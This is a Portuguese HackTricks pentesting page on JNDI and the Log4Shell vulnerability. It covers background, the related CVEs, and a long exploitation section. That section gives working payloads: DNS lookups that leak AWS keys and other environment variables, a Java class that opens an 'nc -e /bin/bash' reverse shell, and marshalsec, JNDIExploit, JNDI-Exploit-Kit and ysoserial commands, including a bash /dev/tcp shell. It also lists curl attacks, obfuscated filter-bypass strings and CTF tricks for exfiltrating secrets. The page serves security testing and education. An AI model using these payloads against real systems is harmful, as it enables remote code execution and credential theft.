hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

478 lines
38 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JNDI - Java Naming and Directory Interface & Log4Shell
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações básicas
O JNDI está presente no Java desde o final dos anos 1990. É um serviço de diretório que **permite que um programa Java encontre dados por meio de um diretório usando um serviço de nome**. Um serviço de nome associa valores (bindings), para que possa ser obtido por meio de sua referência no diretório.
O JNDI possui uma série de **interfaces de provedor de serviços** (SPIs) que permitem que ele use uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas de forma muito fácil. Você pode até mesmo obter objetos Java remotamente, e é aí que surge um problema.
Por exemplo, existem SPIs para o **CORBA COS** (Common Object Service), o **Java RMI** (Remote Method Interface) Registry e o **LDAP**.
![](<../../.gitbook/assets/image (627).png>)
### Referência de nome JNDI
Para recuperar Objetos Java, você pode serializá-los e salvar a representação binária. Mas há casos em que isso não funcionará (talvez porque os dados sejam muito grandes ou qualquer outra coisa).\
Para salvar Objetos Java de forma mais fácil, são usadas **Referências de Nome**.\
Existem 2 tipos de Referências de Nome:
* **Endereços de Referência**: Isso indica o endereço do Objeto (_rmi://servidor/ref_), então o **objeto será recuperado desse endereço**.
* **Fábrica Remota**: Nesse caso, uma **classe de fábrica remota** será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será obtida da fábrica remota e a **classe será baixada e carregada**.
Isso é perigoso porque **atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário**, portanto, existem algumas proteções:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por padrão desde o **JDK 7u21**, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um **Gerenciador de Segurança** é aplicado para configurar o que pode ser carregado.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão desde o **JDK** **6u141, 7u131, 8u121**, e não permitirá a execução de objetos Java arbitrários baixados. Mas se isso for definido como `true`, permitirá e **nenhum Gerenciador de Segurança será aplicado**.
* **CORBA**: Não há propriedade a ser configurada, mas o **Gerenciador de Segurança é sempre aplicado**.
Além disso, o **Gerenciador de Nomes**, aquele que vai seguir os links JNDI, não possui nenhum Gerenciador de Segurança ou propriedade a ser configurada, então sempre tentará obter o objeto.
Como você pode ver, as **proteções em geral não são suficientes** porque não há proteção contra o carregamento de JNDI de endereços aleatórios e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para **carregar objetos Java arbitrários** ou para **carregar objetos Java** que abusarão dos componentes existentes na aplicação como **gadgets para executar código arbitrário**.
Exemplo de URLs para abusar do JNDI:
* _rmi://servidor-do-atacante/bar_
* _ldap://servidor-do-atacante/bar_
* _iiop://servidor-do-atacante/bar_
### Exemplo de JNDI
![](<../../.gitbook/assets/image (655) (1) (1).png>)
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma pesquisa e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
### CORBA
Um **Referência de Objeto Interoperável (IOR)** é uma referência CORBA ou RMI-IIOP que identifica unicamente um objeto em um servidor CORBA remoto. Os IORs podem estar em formato binário ou representação hexadecimal em string do binário.\
Entre outras informações, ele contém o **ID do Tipo** (um identificador único para uma interface) e o **Codebase** (local remoto usado para obter a classe stub).\
Observe que **por padrão, o CORBA não pode ser abusado**.\
Isso requer:
* Um **Gerenciador de Segurança deve ser instalado**
* A conexão com o **codebase controlado pelo atacante deve ser permitida** pelo Gerenciador de Segurança. Existem diferentes maneiras de permitir isso:
* Permissão de soquete: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
* Permissão de arquivo permitindo a leitura de todos os arquivos: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
* Permissão de arquivo para ler a pasta onde o atacante pode fazer upload dos exploits (classes ou arquivo zip)
Você pode encontrar **políticas de fornecedores que permitem isso por padrão**.
### RMI
Como indicado na seção anterior de **Referência de Nome JNDI, por padrão, o RMI não permitirá o download de Classes Java arbitrários**. E além disso, mesmo que permita, você precisará **burlar as políticas do Gerenciador de Segurança** (na seção anterior aprendemos que isso era possível com o CORBA).
### LDAP
Primeiro, precisamos distinguir entre uma Pesquisa e uma Consulta.\
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
Uma **consulta** é destinada a **serviços de nomes** pois queremos obter **qualquer coisa vinculada a um nome**.
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
Portanto, existem várias maneiras de atacar essas opções.\
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma pesquisa LDAP**, por exemplo.
Caso você possa **fazer um aplicativo resolver uma URL LDAP JNDI**, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
#### Exploração de deserialização
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
O **exploit é serializado** e será desserializado.\
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes no codebase, caso contrário, ele precisará abusar de gadgets no classpath.
#### Exploração de Referência JNDI
É mais fácil atacar esse LDAP usando **referências de JavaFactory**:
![](<../../.gitbook/assets/image (660) (1) (1).png>)
## Vulnerabilidade Log4Shell
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}`, onde `prefix` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `name` deve ser avaliado. Por exemplo, `${java:version}` é a versão atual em execução do Java.
No [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313), foi adicionado um Lookup `jndi` da seguinte forma: "O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um **":" nenhum prefixo será adicionado**."
Com um **: presente** na chave, como em `${jndi:ldap://example.com/a}`, não há prefixo e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos, como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
## CVEs do Log4Shell
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**: A vulnerabilidade original 'Log4Shell' é uma falha de [desserialização não confiável](https://cwe.mitre.org/data/definitions/502.html). Classificada como crítica em gravidade, essa vulnerabilidade recebe uma pontuação de 10 na escala [CVSS](https://www.first.org/cvss/) e **concede a capacidade de execução de código remoto (RCE) a atacantes não autenticados**, permitindo a tomada completa do sistema.\
\
Reportado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud para a Apache em 24 de novembro, o CVE-2021-44228 afeta as configurações padrão de vários frameworks da Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.\
\
Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core), limitado às versões 2.x: da 2.0-beta9 até e incluindo a 2.14.1. Uma correção para o Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).\
\
O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] que podem ser usadas como uma das defesas.\\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Crítico**, anteriormente Baixo]: Este é uma falha de Negação de Serviço (DoS) com uma pontuação de ~~3.7~~ 9.0. A falha surgiu como resultado de uma **correção incompleta que foi implementada na versão 2.15.0** para o CVE-2021-44228. Embora a correção aplicada ao 2.15.0 tenha resolvido em grande parte a falha, esse não foi exatamente o caso para certas **configurações não padrão**.\
\
O Log4j 2.15.0 faz "uma tentativa de melhor esforço" para **restringir as consultas JNDI LDAP para \_localhost**\_ por padrão. No entanto, **atacantes** que têm **controle** sobre os dados de entrada do **Thread Context Map (MDC)** podem criar payloads maliciosos por meio dos padrões de Consulta JNDI para causar ataques de DoS. Isso se aplica a configurações não padrão em que um Layout de Padrão não padrão é usado, usando um Context Lookup, por exemplo, \$${ctx:loginId}, ou um padrão de Thread Context Map (%X, %mdc ou %MDC).\
\
A **burla retirada deste** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) foi:\
_Aqui está um PoC de como burlar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0 para obter RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** e para burlar allowedClasses, basta escolher um nome para uma classe no JDK. A desserialização ocorrerá normalmente._\
\_\_\
\_\_"A versão 2.16.0 do Log4j corrige esse problema removendo o suporte a padrões de busca de mensagens e desabilitando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na versão 2.12.1, uma correção foi retroportada para a versão 2.12.2.\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**: Nós dissemos que as versões do Log4j 2.x eram vulneráveis? E o **Log4j 1.x**?\
\
Embora anteriormente considerado seguro, o Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, **configurações não padrão de instâncias do Log4j 1.x usando a classe \_JMSAppender**\_\*\* também se tornam suscetíveis à falha de desserialização não confiável\*\*.\
\
Embora seja uma variante menos grave do CVE-2021-44228, essa CVE afeta todas as versões dos componentes [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) e [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) para os quais existem apenas lançamentos 1.x. Como essas são versões [fora de suporte](https://logging.apache.org/log4j/1.2/), **uma correção para a versão 1.x não existe em nenhum lugar**, e você deve fazer upgrade para o _log4j-core_ 2.17.0. (Aparentemente, a versão 1.0 não é vulnerável).\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]:** Essa é uma vulnerabilidade no **framework de registro Logback**. Sucessor da biblioteca Log4j 1.x, o Logback afirma continuar de onde o log4j 1.x parou.\
\
Até a semana passada, o Logback também [se gabava](https://archive.md/QkzIy) de ser "não relacionado ao log4j 2.x, \[logback] não compartilha suas vulnerabilidades".\
\
Essa suposição rapidamente desapareceu quando o CVE-2021-4104 foi descoberto como impactando também o Log4j 1.x, e a possibilidade de **impacto potencial no Logback** foi [avaliada](https://jira.qos.ch/browse/LOGBACK-1591). Novas versões do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram lançadas [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
* **CVE-2021-45105** **\[Alto]**: Descobriu-se que o **Log4j 2.16.0** é **vulnerável a uma falha de DoS** classificada como 'Alta' em gravidade. A Apache lançou uma versão 2.17.0 do log4j para corrigir o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no [último relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): Essa nova CVE afeta a **versão 2.17** do log4j. Essa vulnerabilidade **requer que o atacante controle o arquivo de configuração do log4j**, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para obter informações sobre a **vulnerabilidade e exploração**, [**leia esta informação**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Exploração do Log4Shell
### Descoberta
Essa vulnerabilidade é muito fácil de descobrir, pois ela enviará pelo menos uma **solicitação DNS** para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (usando [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com))
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
{% hint style="info" %}
Lembre-se de que, para **explorar a versão 2.15**, você precisa adicionar a **burla de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Descoberta Local**
Procure por **versões locais vulneráveis** da biblioteca com:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **Verificação**
Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando forem solicitados.\
Isso pode ser muito útil para 2 coisas:
* **Verificar** a vulnerabilidade
* **Exfiltrar informações** abusando da vulnerabilidade
Por exemplo, você poderia solicitar algo como:\
ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se uma **solicitação DNS for recebida com o valor da variável de ambiente**, você saberá que a aplicação é vulnerável.
Outras informações que você poderia tentar **vazar**:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
```
### Informações sobre RCE
{% hint style="info" %}
Os hosts que executam versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP, **MAS NÃO contra o vetor de desserialização**. Isso ocorre porque `com.sun.jndi.ldap.object.trustURLCodebase` está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. No entanto, devemos ressaltar que a desserialização e vazamentos de variáveis ainda são possíveis.\
Isso significa que, para **explorar as versões mencionadas**, você precisará **abusar de algum gadget confiável** que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazer com que elas carreguem e executem classes arbitrariamente (o que torna o ataque mais fácil).
Para **mais informações** (_como limitações nos vetores RMI e CORBA_), **verifique a seção de Referência de Nomes JNDI anterior** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - Marshalsec com payload personalizado
_Este truque é totalmente retirado da **caixa THM:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
Para esse exploit, a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (faça o download de uma [**versão jar aqui**](https://github.com/RandomRobbieBF/marshalsec-jar)) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:
{% code title="" %}
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
{% endcode %}
Crie o **arquivo de classe** executando: `javac Exploit.java -source 8 -target 8` e em seguida execute um **servidor HTTP** no mesmo diretório em que o arquivo de classe foi criado: `python3 -m http.server`.\
O **servidor LDAP do marshalsec deve estar apontando para este servidor HTTP**.\
Em seguida, você pode fazer com que o **servidor web vulnerável execute a classe de exploit** enviando um payload como:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
### RCE - **JNDIExploit**
{% hint style="info" %}
Observe que, se o Java não estiver configurado para carregar um código remoto usando o LDAP, esse exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário.
{% endhint %}
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
Em seguida, você pode baixar o arquivo jar do **JNDIExploit** e executá-lo com:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Depois de ler o código por apenas alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_, você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.\
Em _com.feihong.ldap.gadgets_, você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_, você pode ver as diferentes classes de modelo que **gerarão os exploits**.
Você pode ver todos os exploits disponíveis com **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Alguns úteis são:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Então, no nosso exemplo, já temos o aplicativo vulnerável em execução no Docker. Para atacá-lo:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Ao enviar os ataques, você verá alguma saída no terminal onde executou **JNDIExploit-1.2-SNAPSHOT.jar**.
Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
De maneira semelhante ao exploit anterior, você pode tentar usar o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\
Você pode gerar as URLs para enviar à vítima executando:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do THM. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar um código remoto usando LDAP), acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
### RCE - ysoserial & JNDI-Exploit-Kit
Essa opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), você pode criar o exploit de deserialização que será baixado pelo JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de deserialização** (gerados por você ou pelo ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (642) (1) (1).png>)
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **shell reverso** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Scanners Automáticos
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas vulneráveis localmente
### Laboratórios para testar
* [**Máquina LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Pós-Exploração do Log4Shell
Neste [**writeup do CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é **potencialmente possível** **abusar** algumas funcionalidades do **Log4J**.
A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j possui algumas frases interessantes:
> A partir da versão 2.16.0 (para Java 8), a funcionalidade de **busca de mensagens foi completamente removida**. **As buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas do JNDI na configuração agora precisam ser habilitadas explicitamente.
> A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas as strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas.
Isso significa que por padrão você pode **esquecer o uso de qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas.
Por exemplo, nesse CTF isso foi configurado no arquivo log4j2.xml:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### Pesquisas de Ambiente
Neste CTF, o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\
Como visto nesta página em [**cargas anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.
### Exfiltração em Exceções
No CTF, você **não conseguia acessar o stderr** do aplicativo Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
![](<../../.gitbook/assets/image (157).png>)
### Padrões de Conversão em Exceções
Apenas para mencionar, você também pode injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
Isso não foi útil para extrair dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção.
### Regexes de Padrões de Conversão
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para extrair informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**.
* **Busca binária por meio de mensagens de exceção**
